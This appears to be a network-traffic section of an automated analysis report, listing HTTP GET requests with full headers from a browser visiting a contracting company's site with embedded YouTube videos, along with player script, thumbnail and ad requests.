Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/16/e9cd8560c0fb5980f7f1767f84634dfb.jpg HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /video HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/19/8c31bd6a7e31516d9af11ddd76cf1f8b.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.citydiamondcontracting.com/videoAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /embed/-PcNMUQloeU HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/LiEQ_JV0h4w HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/xFzWNmILl40 HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/Jo_coLYPcOQ HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/erCmtRLIjD8 HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/kG5xyR1406I HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uploads/dynamic/19/8c31bd6a7e31516d9af11ddd76cf1f8b.png HTTP/1.1Host: www.citydiamondcontracting.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: advanced-frontend=6hukji9m9k72lj8og62vhac8h0
Source: global traffic	HTTP traffic detected: GET /embed/vs01gUJV3iQ HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/QJ96N5lUn0c HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/hOPpxvP2E28 HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.citydiamondcontracting.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/www-player.css HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.youtube.com/embed/LiEQ_JV0h4wAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/www-player.css HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/erCmtRLIjD8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/erCmtRLIjD8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/erCmtRLIjD8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/www-embed-player.vflset/www-embed-player.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/26636eff/player_ias.vflset/en_US/base.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/Jo_coLYPcOQAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=m6oKKGjXu_0; VISITOR_INFO1_LIVE=SiT7r3wWjUA; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgLA%3D%3D
Source: global traffic	HTTP traffic detected: GET /vi/-PcNMUQloeU/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/th/KZ9qBfv2Fvj8--thF3jkrqmjFIXwxVfodGy5wvrcirQ.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/remote.js HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/embed/-PcNMUQloeUAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: YSC=-EWOd4YpAz4; VISITOR_INFO1_LIVE=Ue1nfRIjFOk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgGQ%3D%3D
Source: global traffic	HTTP traffic detected: GET /s/player/b0557ce3/player_ias.vflset/en_US/embed.js HTTP/1.1Host: www.youtube.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/erCmtRLIjD8/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kX-vYQ9Gn6TcX7ke5nWkheWbQUMzZEQn1dyzA-bRdJ3yC6h_jbggZ0PleqthkW2AGlTADqSrSg=s68-c-k-c0x00ffffff-no-rj HTTP/1.1Host: yt3.ggpht.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /instream/ad_status.js HTTP/1.1Host: static.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi/xFzWNmILl40/sddefault.jpg HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /vi_webp/kG5xyR1406I/sddefault.webp HTTP/1.1Host: i.ytimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/id HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.youtube.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BGPbJzQE=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.youtube.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
